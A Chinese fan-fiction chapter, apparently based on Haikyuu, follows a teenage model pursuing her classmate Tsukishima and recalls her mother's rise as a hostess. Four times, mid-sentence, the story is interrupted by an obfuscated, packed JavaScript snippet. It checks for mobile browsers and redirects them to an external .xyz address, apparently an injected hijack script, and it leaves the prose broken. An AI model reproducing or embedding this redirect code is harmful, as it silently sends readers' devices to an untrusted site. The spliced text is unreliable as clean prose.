北里悠花也总能发现，并笑着和他对视。那人很快就红透了脸低下头去，然后月岛萤会嘲笑他“像一颗要爆炸的橘子”。 后来北里悠花得知，那个橘子头叫日向翔阳。 因为某天下课，橘子头终于没忍住拿着她的杂志找她签名。 橘子头真的要爆炸了，脸红得好像下一秒就能榨出新鲜的橘子汁。 大概是没什么和女生说话的经验，他说话都结结巴巴： “艺人小姐你好，我……我叫日向翔阳。” “我……我的妹妹……妹妹，小夏她非常喜欢你！” “如果能，能给我签名就太好了！——” 北里悠花有些震惊，倒是没想到原来小橘子头才是她的粉丝。 她一边笑着安慰他“不用那么紧张啦”，一边在杂志封面上签上了自己的名字。 日向翔阳接过那本杂志，把它捧在胸口。 在大声说了句：“谢谢——！”后，开始同手同脚地朝门外走去。 实在让人忍俊不禁。 待对方走出班级之后，北里悠花才不再憋笑、噗嗤一声笑了出来。 “真是个货真价实的笨蛋。” 目睹这一切的月岛萤冷冷吐槽。 月岛萤确实是个毒舌的人。 而有趣的是，即便嘴上伪装得再冷硬、说出来最过分的话也不过是“笨蛋”和“蠢货”，简直是个过于有礼貌的国小生。 听到他说的话，北里悠花转过头去，笑眯眯地看着月岛萤。 注意到她的视线，月岛萤轻轻皱了皱眉、也平静地看向北里悠花。 他的目光中有几分探寻的意味。 但其实北里悠花只是在看他的卷毛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522826|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>微微翘起，像只金毛、感觉摸上去也软软的。 有点可爱。 月岛萤看到北里悠花对他说了句什么。 没听清楚，做出的口型是——“Kawaii。” 意识到对方说了什么的月岛萤嘴唇抿成一条线，选择无视。 神经病。 * 这天放学。 以“第二天晚上有拍摄任务”为理由，北里悠花成功和村上由奈换了值日的时间，顺理成章和月岛萤两个人单独留下值日。 虽然这是她用了一些小心机刻意制造出的，但怎么不算是少女漫画里的经典情节呢？ 平时月岛萤一放学就要去训练，北里悠花根本抓不住他。课间又人多眼杂，即便她胆子再大也不好说话。 只好出此下策。 接下来该怎么接近他呢？ 是假装自己擦不到黑板，还是直接邀请对方一起去吃甜品？ 就在北里悠花独自苦恼之时，橙红色的夕阳已经悄悄洒满整个教室。 操场上传来田径部跑步的呐喊声，树叶摇晃、她几乎快要能听见自己的呼吸。 可惜月岛萤早就趁着她发呆擦干净了黑板，连垃圾都打包完毕。 把她没做完的那份值日也做完后， 他单肩背着书包，站定在北里悠花面前。 “特意换到今天值日，你是有什么想和我说的吗？” 月岛萤问。 他实在太高了，站定在她面前时都将夕阳的颜色挡住了。 北里悠花抬眼直视他镜片后的双眼。 她从外套口袋里拿出手机，晃了晃。又露出和那个晚上一样的、特别生动的笑来。 “我想要你的LINE，可以吗？” 她的眼睛亮晶晶的，让人实在不好拒绝。 “……” 月岛萤没有回答，依旧沉默地看着她。 他试图从北里悠花的眼睛里读懂她的意图。 北里悠花继续攻略：“因为我想跟大家都成为好朋友，所以基本每一个人的LINE我都加了。” “但是呢……”她又停顿了。这是她上午用过的说话方式、在等待观众的胃口被高高吊起。 “但是呢，这其实都是我的借口，我只想要你的LINE。” 北里悠花直接切入主题。 满是胶原蛋白的脸上只化了轻薄的淡妆，粉嫩的苹果肌饱满、整个人像是朵春日中盛开的花朵。即使未经雕琢、也足够夺目美丽。 麻烦。 看着北里悠花的月岛萤的烦躁没来由地到达了极点，他讨厌这种不受控制的感觉。 明明理智告诉他这不过是这位艺人小姐为了打发时间毫无意义的把戏。 明明一眼就能看出，北里悠花的眼里是毫不掩饰的、直白的欲望。 良好的教养让月岛萤没有拒绝北里悠花。 他做不出让女性过于难堪的事情。 但就像人呼吸需要氧气、植物生长需要水分、地球公转需要太阳，有一些规律无法用逻辑来验证说明。 正在不断跳动的神经在提醒月岛萤： 他似乎没有拒绝的选项。 无用的挣扎只持续了一分钟。 月岛萤掏出手机添加北里悠花的LINE，对方在飞速通过申请后，快速敲击屏幕发来一条消息。 Yuuka： 「请多指教呀(^^)」 Tsuki： 「嗯。」 5. 5. 月岛萤的LINE头像是一个卡通版的绿色恐龙，北里悠花猜，他一定是《侏罗纪公园》的忠实粉丝。 平时饭量不多、又总是戴着那个银色的索尼耳机。虽然是运动社团的，却没有过度健身留下的痕迹、倒像个草食系男子。 还挺反差萌的。 北里悠花抱着手机，躺在床上翻滚了一下。心情颇为愉悦地翘起嘴角，想着自己要主动发点什么过去好呢。 两人的聊天对话还停留在放学时的打招呼，那之后月岛萤便前往排球部训练了。 他还顺手带走了值日的垃圾，一个巨大的白色垃圾袋。 快一米九的大高个一脸冷酷地提着垃圾袋往外走，看着他背影远去的北里悠花差点没忍住笑出声。 Yuuka： 「月岛同学，训练结束了嘛？」 北里悠花琢磨了许久，发了一句不痛不痒的话过去。 此时已经晚上九点，再怎么斯巴达式的训练也该结束了。 所以她的言下之意，是“如果你现在没什么事做的话，请和我聊天。” 青春期的夜晚最容易滋生暧昧，了解这一点的北里悠花耐心等待着对方的回复。 只不过很可惜，十分钟过去了消息还是「未读」状态。 她正准备做一套睡前拉伸放松身心，来自日向小姐的工作消息却开始不间断地朝她弹出。 日向小姐： 「上期视频的反响很好。」 「有没有考虑做成周更的形式？这样粉丝黏性会更大。之后固定在每周日更新，要拍的题材等会儿我会列给你。」 「剪辑的话，事务所会请专人来做，你负责拍就行。」 日向小姐依旧雷厉风行。永远是以商量的口吻、下达不容置喙的通知。 话语密集到北里悠花还没来得及回复上一条，下一条就又跳出来了。 她知道自己没有拒绝的权利，但唯有一条： Yuuka： 「好的，日向小姐。不过剪辑我可以自己来嘛？我会编辑得很有趣的，上传前也会先和事务所进行确认（可怜）」 日向小姐： 「可以是可以，但你自己的时间没问题吗？」 Yuuka： 「没问题哒～」 又简单交代了几句工作后，日向小姐下达了本周的视频任务，是「Get ready with me」。 即录制一个出门前的日常化妆视频。 工作让人晕晕绕绕。 北里悠花打了个哈欠，只觉得困意席卷而来。而手机屏幕再次亮起时，等来的却是月岛萤的回复。 Tsuki： 「嗯。」 北里悠花觉得月岛萤有一种神奇的能力。 疲惫也好、烦躁也好、失落也好，月岛萤都能让这些一下子就全都消失、留下欣喜。 就算月岛萤只回复了一个冷漠的单音节。 Yuuka： 「辛苦啦～」 「今天谢谢你帮我把垃圾带走！」 Tsuki： 「没事。」 Yuuka： 「对了，你的头像是侏罗纪公园里的恐龙嘛。」 「好可爱哦。」 另一边，刚洗完澡的月岛萤正在看着手机里不停跳出的消息。 他看了看自己的头像，和有着两颗小眼睛的绿色恐龙面面相觑。 哪里可爱了。 Tsuki： 「不是侏罗纪公园里的。」 「只是随便找的恐龙。」 北里悠花没想到月岛萤竟然会那么认真地回复她的废话，瞬间有了聊天的兴致。 Yuuka： 「听说侏罗纪世界明年六月会上映哦。」 「就是侏罗纪公园的续作，好期待（开心）」 Tsuki： 「嗯。」 Yuuka： 「那时候我们就已经是大学生了。」 「月岛同学是准备留在仙台上大学嘛？」 Tsuki： 「有这个打算。」 Yuuka： 「这样啊～」 「那电影上映的时候，我会回仙台的。」 「到时候我们一起看吧(^^)」 月岛萤已读了，但没有回复。 他不是傻子，自然知道北里悠花是什么意思。难道现在艺人都闲成这样了吗？ 而北里悠花还是在自说自话地给他发消息。 Yuuka： 「明天见，晚安啦」 「（月亮表情）」 北里悠花发来的月亮表情包还戴着一副黑框眼镜，显得十分滑稽。 * 早晨六点半。 为了拍摄视频，北里悠花提早半小时醒来。洗漱过后，她拿出自己的化妆包、架起相机，开始录像。 日常上学妆容的拍摄很快完成。 北里悠花的化妆过程非常简单，打底过后涂上睫毛膏、腮红和唇膏就结束。 正处于胶原蛋白满满的jk时代，伪素颜妆更能凸显清纯的少女感。 时间还多，北里悠花准备开始制作甜品。 当然，是北里悠花式的甜品。 食材仅有两样，并且都是昨天在附近的超市购入的。 北里悠花从冰箱里拿出了一盒戚风纸杯蛋糕、和一大罐草莓味的喷□□油。 粉色的奶油被她像裱花一样、点缀在原本光秃秃的戚风蛋糕顶上，倒真有几分“手作”的感觉。 最后撒上五彩缤纷的糖豆，北里悠花“亲手制作”的草莓奶油蛋糕便大功告成。 整个过程仅耗时十分钟。 北里悠花满意地看着自己的成果，把小蛋糕装进新的甜品盒中，并套上了一个漂亮的黄色纸袋。 虽然味道不能细品，但至少外表像模像样的。 * 等第二天月岛萤来到教室时，那个黄色纸袋已经被挂在了他的课桌边。 随之一同而来的，是北里悠花发来的消息。 Yuuka： 「早上好呀，昨晚我做了一些草莓小蛋糕，因为最近在减肥所以分一点给你～」 「虽然我花了两个小时才做完，但如果你不喜欢吃的话…可以扔掉（哭哭）」 月岛萤嘴角抽了抽。 北里悠花这段话道德绑架的意思实在太重，既然明知道在减肥、为什么还要做那么多？ 好像现在如果不收下她的甜品、他就成了辜负少女心意的千古罪人。 和月岛萤一起来上学的山口忠，此时也眼尖地发现了原本不存在的黄色纸袋。 他走到月岛萤旁边，指了指袋子：“阿月、这是？” 月岛萤不想让事态变得更加严重，随便敷衍了一句：“这是我昨天忘记带回去的书。” 山口忠疑惑，他明明记得昨天放学时这个袋子还没有出现呀。 而且，这个袋子里装的怎么看都是甜品吧！ 好在月岛萤平时一副注孤生的样子，也没什么特别亲密的女性朋友。所以山口忠压根没把这件事往“恋爱”上进行联系、也更加不会想到这份甜品的主人竟然是北里悠花。 他刚想继续往下追问，就看到月岛萤一脸黑线的表情。 山口忠很了解月岛萤，知道此时最好不要再问下去——否则对方很有可能会被惹毛。 阿月这样做一定有他的理由。 善良的山口忠如是想到。 他讪讪笑了笑，嘴里还好心地帮月岛萤打着圆场：“哦哦，这一看就是书，根本不像是什么草莓小蛋糕。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522827|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月岛萤强烈忍住吐槽好友的欲望：“……山口。” “怎么了？” “后面这句话可以不用说。” 目睹了整个过程的北里悠花着实没想到事态会如此发展。她转头和月岛萤对视了一下，然后指了指手机。 月岛萤又收到两条新消息。 Yuuka： 「袋子里我放了冰袋保鲜。」 「所以你把书带回家再读也是可以的哦^*^」 * 今年的IH即将到来，排球部训练的内容也日渐繁重。 又是一天训练结束，被一群热血笨蛋折磨得精疲力尽的月岛萤踏上了回家路。 母亲让他顺路路过经常去的超市买点味增，晚上八点过后的超市正在打折促销。 甜品区域的纸杯小蛋糕有些眼熟，也被贴上了“七折”标签。犹豫了下、想起黄色纸袋里还有北里悠花做的草莓蛋糕，他最终没有买。 也不知道奶油有没有坏掉。 最后月岛萤带着味增和北里悠花牌的草莓蛋糕回到了家。 好在天气比较凉爽、月岛萤到家拿出草莓蛋糕时上面的奶油依旧□□着，可惜冰袋已经全部化成了水。 他拿起蛋糕尝了一口，味道还不赖。 是很经典的调味，蛋糕体松软绵润、还有很浓的蜂蜜味。顶上的奶油顶有淡淡的草莓香气，不会过于甜腻，倒是很符合他的口味。 月岛萤吃了两个小蛋糕。 他平常晚上不怎么吃甜食，并且一盒里面有足足六个小蛋糕、一个人确实吃不完。 于是他把剩下的拿下楼和家人一起分享。 “啊啦，原来超市的纸杯小蛋糕又出新口味了啊。这个新的草莓味也很好吃呢。”母亲品尝过后，自然地给出评价。 超市的纸杯小蛋糕？ 新口味？ ？？？ 听到母亲这句话的月岛萤只觉得自己智商受到了侮辱。 怪不得调味那么经典。 怪不得他在超市路过打折小蛋糕时有如此熟悉之感。 没想到原因竟然是，北里悠花就是直接买的超市小蛋糕！完全是纯添加、0天然！！！ 北里悠花恰在此时发来消息。 Yuuka： 「我做的小蛋糕还合你的口味嘛？奶油应该还没化吧？我可是放了好多冰袋呢。」 昨晚花了两个小时亲手制作？ 月岛萤都快气笑了，头脑一热，就发了一句呛人的回答。 Tsuki： 「和超市的小蛋糕味道竟然一模一样呢。」 收到消息的北里悠花立马知道事情已经败露。 她暗叹一声不好，然后继续厚脸皮地回复。 Yuuka： 「我亲手给小蛋糕喷上了奶油哦，所以当然算我做的啦～」 「是北里悠花牌特制草莓蛋糕！」 月岛萤冷笑。 Tsuki： 「花了两小时？」 Yuuka： 「这个…难道不好吃嘛（委屈巴巴）」 「对不起呀，我不知道你不喜欢…（委屈巴巴）」 月岛萤清楚了解到了，藏在北里悠花的完美偶像面具之下、其实是一个恶劣到极点的人。 回避问题，再抛来一句占领道德制高点的反问句。黑的都能说成白的，她远没有表现出的那么温顺。 但很快，月岛萤就想通了。 他其实并没有生气的理由，不管怎么样、就算是用超市的小蛋糕做的现成品、就算只花了几分钟制作，他也依旧是既得利益者。 而且、看着北里悠花发来的那个委屈巴巴的表情包…… 他很快调整好情绪。 Tsuki： 「谢谢，很好吃。」 6. 6. 周末，北里悠花再次前往东京进行拍摄。休息间隙，她举起手机自拍了一张。 这期封面的主题是“运动”。 她身着一身活力的粉色网球连衣裙，头戴一顶白色鸭舌帽。少女的身体曲线柔美，手里拿着比预想重许多的网球拍、倒真有几分专业选手的感觉。 稍微p了下瑕疵，她就把自拍发到了IG的限时动态里。 特意标注上了地点，并假惺惺地配了一段话：「周末又回东京工作啦，各位staff老师辛苦了，今天也是很幸福的一天^*^仙台下周见～」 本来想私发给月岛萤看的，但……对待月岛萤这种类型，切忌过度急躁。 这一周里，北里悠花和月岛萤保持着健康的聊天频率。 基本上都是北里悠花主动在晚上说些不着边际的废话，然后得到月岛萤近似敷衍的几个语气词。尽管回复得不怎么热情，却从没有已读不回的情况发生。 每每这时，北里悠花就想发自内心地感叹：他可真是一位有礼貌的好少年。 如果普通高中男生的攻略难度只是游戏里的npc，那月岛萤绝对是lv.100的大boss。 而这种“不对等”的交流、正是她所期盼的高难度挑战。 她很期待。 这位高高在上的冷漠观察者，一步步地将底线让出、再别扭地被动接受一切。 * “天呐，北里同学周末竟然去东京工作了！” 班里第一个刷到北里悠花限时动态的是八卦大王佐佐木同学，他对着手机张大了嘴、感叹道：“这才是真正的City Girl，艺人果然不一样——周末随随便便就去东京了！” “也不知道北里同学今天会不会来上学。”听到这个消息的山口忠随口说了一句。 月岛萤给了他一个“这跟你有什么关系”的眼神，扫了眼佐佐木的手机屏幕。 距离不远，一眼就能看到那张笑得毫无阴霾的脸、跟粉色水蜜桃似的。 作为好友的星野杏和村上由奈非常自然地当起了官方发言人。 星野杏表现得一脸高深：“悠花昨天和我们说了哦，今天会在早会之后来上学。” “没错。”村上由奈接着补充，“而且——悠花女神还给大家都带了伴手礼！” “多么体贴的女神！！！卡密！！！”听到能有伴手礼拿，佐佐木配合地大喊出声。 月岛萤被这群人浮夸的演技吵得耳朵疼。他已经可以预料到，待会儿北里悠花进教室时会造成怎样的轰动了。 果不其然、早会结束后北里悠花翩然而至。 她提了一个印着知名甜品店logo的纸袋、里面装满了一盒盒东京限定款奶糖。据说每颗单卖的售价就高达150日元，被像奢侈品一样精心打包、再装进印着红色玫瑰花图案的礼盒里。 “早上好呀。周末的拍摄场地旁边正好是这家糖果店、好像很有名，所以就买了一些伴手礼回来。只是一点小糖果，希望大家不要嫌弃。” 她声音甜美，细心地将糖果挨个分发给同学们。说出的话又体贴到位，让人没有任何压力。 大家甚至开始很有秩序地排队进行领取，场面一度变成了北里悠花的个人粉丝见面会。 教室里也充满了各种道谢声。 “谢谢悠花酱，这个超难买的！” 这是非常识货的星野杏。 “谢谢悠花女神，我会一辈子好好珍惜的！” 这是过于夸张的佐佐木同学。 “谢谢北里同学，工作辛苦了。” 这是正常人类山口忠。 发一条不痛不痒的限时动态、再付出一些小恩小惠，就能轻易搅动起不必要的期待和讨论，可见北里悠花玩弄人心的手段日渐高超。 月岛萤自然没有出现在队列之中。 北里悠花状似无意地将眼神扫过后排，看到他正戴着那副耳机做题，专注到连头都没抬一下、是很完美的防御姿态。 不过北里悠花也确实无法想象月岛萤排队找她领糖的样子，简直惊悚。 没关系，反正她早有准备。 分发糖果活动结束后，北里悠花从纸袋里拿出了最后一个礼盒。 这个礼盒有些不同，尺寸稍小。如果说前面的糖果包装只是从高级橱窗里挑选的精美礼物，那这个淡绿色小盒子就多了点人情味。 因为盒子上还被缠绕了一圈白色丝带，再系成一个歪歪扭扭的蝴蝶结，显然是个笨拙的新手完成的。 北里悠花就这样、在许多人好奇的目光下直直走向月岛萤的座位。 她站在座位前，叫了他的名字：“月岛君，早上好呀。” 月岛萤没想到北里悠花就直接过来找他。他暂停了音乐，看着她的眼睛。 “早。” 北里悠花总能在普通的制服装扮下，搞出一些小巧思。比如说今天她就戴了一幅巧克力色的美瞳，整个眼睛都显得圆圆的、像湿漉漉的狗狗眼。 “这是给月岛君的礼物。”她规规矩矩地、双手将礼物盒递到月岛萤面前。 “为什么要给我？” 月岛萤的回答不算客气，他摘下耳机、目光停留在那个生疏的蝴蝶结上。 旁边也有人注意到他们两个的对话。 “诶对啊、北里同学为什么会单独给阿月礼物？”山口忠有些惊讶。 美瞳没有遮住北里悠花眼睛里的笑意，她微笑着解释道：“这是给月岛同学的谢礼哦。因为上次我们一起做值日，他帮我把垃圾倒掉了。” 山口忠了然：“原来如此，北里同学你真的很细心呢。” 北里悠花依旧保持着递出礼物的动作，她和月岛萤之间微妙地僵持着。谁也不肯让步，先做出行动的那个人就是输家。 月岛萤不想收下礼物，北里悠花同样不肯轻易放过他。 于是时间一分一秒过去，就在下一节课的铃声即将敲响之时—— 月岛萤只能叹了口气，伸手接过了礼物。 他的指尖不小心、微微触碰到了北里悠花的手背。尽管只是一瞬间，他却很清晰地感受到了男女差异。 是纤细的、柔软的。 “这是我特别为月岛同学挑选的、希望你喜欢。” 北里悠花像是早就料定月岛萤一定会收下这份礼物，故意加重了“特别”两个字，朝他眨了眨眼。 很可惜，月岛萤什么都没说。他将礼物盒一把放进抽屉后就没有再理会。 但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522828|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表面装得再云淡风轻又如何，总归会有拆开礼物的那一天。 * 北里悠花并不擅长学习。 在东京的学校时就是常年在合格线上徘徊，如果硬要说一门还看得过去的科目、那应该是美术。 她很擅长画简笔卡通，像三?鸥、哆啦?梦、蜡笔?新，不需要太多笔墨就能画得惟妙惟肖。 而她少女时代的英雄主义，是小丸子。 曾经她最想去的城市就是清水市，因为那里是小丸子的故乡。对于当年小小的她来说，清水就是一个没有忧愁的地方。 在那里生活的家庭都是幸福而快乐的，包容的家人、亲密的朋友，小丸子拥有每个小孩都羡慕的童年。 上了高中之后，每当北里悠花有烦心事时她还是会搜索小丸子来看。哪怕已经看过无数遍，连每一个人物的台词都快倒背如流，她还是麻木地观看着。 那样就能抚平她心里所有的糟糕情绪。 此时正在数学课上走神的北里悠花，又习惯性地在课本上画了一个Q版小丸子。 画得真的很像，她还在小丸子脸上加了一幅黑框眼镜、贱兮兮的，一看也不想上课。 数学老师正在讲复杂的方程式，还有一堆如天书般的公式。正巧遇到一道有些困难的例题，竟然开始了随机提问。 “谁来试着做一下这道例题？” 教室的空气陷入沉默。 一般少女漫里出现这种情节，都会叫一位智商高超的男主角来凸显他的帅气。 “没有人吗？那我叫名字了。” 她猜会叫月岛萤，他数学好像很好的样子、还能顺便装一波。 “那么就……北里同学，你上来做一下吧。” “……？” 哈？谁？ 她听错了吗？ 好像幻听到了老师在叫她。 怎么想她都不是最佳人选吧，一个成天在外工作的高中生艺人哪有空学习啊！ 渐渐有目光朝她看来。 人设不能崩。 北里悠花缓过神，将课本上的小丸子用橡皮擦盖住。她深吸了口气看向黑板上的例题，面上还是端着笑容。 很好，她不会做。 这简直可以算得上是她转学以来最大的危机之一了，谁能想到都二十一世纪了还有老师在玩这种老套路。 兵来将挡。 比套路更套路就行了。 “不好意思老师。”北里悠花坐在位置上说，声音是恰到好处的虚弱和歉意，“可能是昨晚太晚睡觉了，今天头一直有点晕晕的、思路也不是很清晰，怕耽误大家的时间。” 言尽于此，她轻轻揉了揉太阳穴。因为说得实在很真诚，所以即便大家都心知肚明这只是一个不想回答的借口、也没人拆穿。 心软的同学们，反而会觉得北里同学都这样辛苦了还不忘去给他们排队买伴手礼，简直是天使般的存在。 数学老师见她话都说到这份上了，也只好叫了别人回答、没再为难她。 北里悠花拿起笔，装作认真听讲的样子。从背影看上去就像在记笔记，妥妥一个“体弱但好学”的白莲花形象。 月岛萤觉得比起做杂志模特，北里悠花更适合去演戏。 7. 7. 难熬的数学课终于过去，下课铃声响起的一瞬间北里悠花也松了口气。课本上戴着黑框眼镜的小丸子再次重见天日，她还给小丸子用红色水笔涂上了两坨圆圆的腮红。 月岛萤路过北里悠花时，看到的便是这副景象。 少女的长发垂下，微微遮盖住半张脸。还是保持着上课时记笔记的动作。手上的笔却不断在修改着什么，但怎么看都不像在认真学习。 这几周来，北里悠花鲜有这种安静的时刻。平时她一休息就总会出现在女生中间，分享那些美妆小知识，比如今天用了什么色号的口红、美瞳是哪个牌子的。又或者是当一个合格的倾听者，女生们都很信任她、乐与将小小的青春期烦恼与她商谈。 月岛萤本来不想偷看的，但那个卡通形象实在过于吸睛。 意外的是、画得还不错，他一眼就能认出那是小丸子。 数学课本上的小丸子对着旁边的数列公式露出阴险的表情，北里悠花还特意画出了一个对话框，配文以「勉強大嫌い（最讨厌学习了）」。 只是……那个诡异的黑色眼镜框却很眼熟。 跟之前北里悠花发给他的月亮表情包很像，那个表情包也戴着相同的镜框。 嗯。还和他的眼镜框一模一样。 北里悠花是故意的，他很快确认。 月岛萤偶尔也是个恶趣味的人。 他学着北里悠花的样子，在她还没注意到他走过来时、用指节敲了敲她的课桌。 “不愧是艺人小姐，下课了还在努力学习。” 还在埋头创作的北里悠花被吓了一跳，她连忙用手盖住小丸子。 见到来人是月岛萤之后，又莫名地松了口气：“什么嘛，是月岛君呀。” 趁着没人注意他们。 北里悠花把手挪开，将小丸子的全貌展示在月岛萤面前。 “怎么样？来自二十一世纪最伟大漫画家北里悠花的月岛君版小丸子！” 北里悠花换上了笑脸，眼底全是狡黠。在长长的修饰前缀过后，她跟想要获得夸奖的小孩一样，将最珍贵的宝物献到月岛萤的面前。 “是不是很像月岛君？” “……” 月岛萤迟迟没有回答。 北里悠花有时候甚至觉得、月岛萤太高了一点。 比如现在，她坐在座位上、他站着。对方几乎是以一个居高临下的角度在审视她，让人莫名有些不爽。 “月岛君。” 她伸出手，拉了拉月岛萤的制服衣角。 月岛萤刚想离开，却被北里悠花喊住。课间很吵、所以他以为她有什么话要说。 于是他弯下身子、配合着北里悠花的高度。 另一个人的呼吸近在咫尺，他几乎能闻到她的香水味。嗅觉记忆应该能保存很久，身体比大脑先一步记起，这款香水就是北里悠花一直用的那个味道。是很淡的甜味、还掺杂了一点花香。 北里悠花其实压根没有什么重要的话说，她只是单纯想让月岛萤低下头来。 思索片刻。 她凑到他耳边，恶狠狠地留下一句质问： “为什么不回答我？” 为什么不回答我？ 为什么总是摆出一副高高在上的样子？ 为什么老是事不关己？ 月岛萤的温度几乎将她包围。 对方终于不再沉默，却很快抽身离开。 月岛萤没想到北里悠花会直接这样问，他强装镇定、走的时候用手指点了点课本上的小丸子，冷冷道：“好好上课。” 北里悠花总觉得月岛萤的背影有几分慌乱，偏偏表情看不出什么端倪。 不过呢……北里悠花饶有兴致地托着下巴。 月岛萤说到底也才十七岁，没有谈过恋爱，跟别提跟女生靠得那么近过了。 所以连耳尖都红了。 真有趣。 * 北里悠花这一天都没能再单独抓到月岛萤。 他不是和山口忠待在一起，就是在参加训练。 放学时北里悠花从教室的玻璃窗朝操场望去，竟然能看到男子排球部黑压压的一群人在跑圈——听星野杏说，那是排球部的乌养教练新增的体能大礼包。 新一年的IH临近，曾经可靠的三年级学长毕业、和新入部的学弟们又仍处于磨合期。所以训练量有增不减，大概是“累到极致就没功夫拌嘴吵架了”。 星野杏顺着北里悠花的目光看去，继续答疑解惑：“据说这周六就是IH的预选赛哦，所以才会那么拼命吧。”她吸了口巧克力奶，突然语气兴奋了起来。 “欸对了悠花，周六如果你没有工作的话我们要一起去加油吗？听说佐佐木他们都去了。” “加油啊……”北里悠花想了想，干脆果断地拒绝。 她双手合十，抱歉地说：“不好意思呀小杏，这周末我已经安排工作了，可能没办法到场给山口同学和月岛同学加油了。” 是预料之中的结果。 星野杏表示非常理解，她摆了摆手：“这有什么关系啦悠花！当然是工作优先呀，而且这还只是第一场比赛呢，之后一起去应援的机会还很多！” 北里悠花笑了笑。 她这周确实需要再编辑一支视频上传，所以有工作安排这件事不假、她也没有骗人。 但编辑视频当然用不了那么多时间，而且这周末其实她也没有外出拍摄的行程。 所以为什么不去应援呢？答案很简单。 北里悠花只是单纯地不想去。 难得的休息日，她才不想把时间浪费在看自己毫无兴趣的比赛上。 她是对月岛萤有兴趣没错，可在没有得到对方的正向反馈之前，北里悠花绝不会先耗尽能量。 毕竟为虚无缥缈的恋爱情结买单，实在不怎么划算。有跑去仙台体育馆看比赛的时间，她接的商家推广已经变现成金钱装进口袋了 说到头来，她也只是一个爱钱的、自私的女高中生罢了。 * 是从什么时候开始变成这样的呢？ 大概是从北里女士开始在歌舞伎町工作的时候起，来来往往的男人们全都一个样子。 有平时衣冠楚楚的商界精英、政客大臣，也有看似温厚老实的上班族、家里的妻子孩子还在等他下班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522829|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回家。成人的世界总是戴着虚伪的假面，北里女士的手机也一直响个不停。 北里女士从未动过真心，为了工作她也低下了自己曾经身为富太太、高傲的头颅。但也获益于曾经的阶级，她更能洞悉每一位客人的情感需求、没用多久就能熟练地周旋在男人们中间。 金钱能让人高贵如王族，也能让人低贱如蝼蚁。 后来北里女士的业绩越来越好，指名她的人越来越多。 就在她成为头牌的那一个月，店内给她举办了盛大的庆祝仪式。 北里悠花是在北里女士的手机里看到的。 那是她从未见到过的奢靡场景。 几乎跟人一样高的香槟塔摆满了大理石台面，昂贵的黑桃A和唐培里侬跟不要钱一样倾斜而下。女公关们欢呼着、服务生们叫喊着，将北里女士簇拥在中间。 视频里、她好像又做回了曾经那个风光无限的富家太太。 头戴着一顶夸张的钻石王冠，穿着低胸的礼服裙、裙摆层层叠叠散开，像一个巨大的奶油蛋糕。客人们送的名牌包包被随意地扔在地上，昏暗的灯光之下连标志性的橙色纸袋都黯淡了些许。 为了帮北里女士冲业绩，客人们豪掷千金。香槟一瓶一瓶地被打开，钱在这个夜晚、确实只变成了一个渺小的数字。 明明不久前，她们母女还蜗居在荒川区的破公寓里。 钱真是个好东西啊，北里悠花想。 那晚北里女士达成了店内销售额第一的成就，刷新了记录。 她正式成为了No.1的女公关。 北里女士一夜未睡。早上九点送走最后一波客人后，她继续在店内盘点流水。回到家里已经是第二天的下午，助手帮她把大包小包的礼物放进家门、她画着厚重妆容的脸上全是疲惫。 北里悠花看着回来的北里女士，和以前一样、走过去用力地拥抱了她。 “辛苦了，妈妈。” 彼时还只是国中生的北里悠花知道，自己的母亲在这个时候只需要一个简单的拥抱。 无需言语，北里女士一瞬间突然颓然地跌坐在地上。 她华丽的裙摆几乎占据了小半个客厅，可看起来却像一个过期发霉的蛋糕。 她紧紧拥抱着北里悠花。 北里女士太瘦了，尖尖的下巴抵在她的肩膀上、硌得她肩胛骨疼。 然后滚烫的泪水滴落在她的衣服上。 那个坚强的北里女士很少哭。父亲跳楼之后，她从不在北里悠花面前掉眼泪。搬进那个破公寓被男人骚扰，她害怕得整个人都在颤抖也没有红过眼睛。 但唯独这一天，北里女士哭了。 北里女士真的很伟大，她以后也要成为这样的女性。 落魄之后，北里女士教导过她“有了钱才有话语权“。这句话一直被北里悠花奉为人生信条，一直到现在。 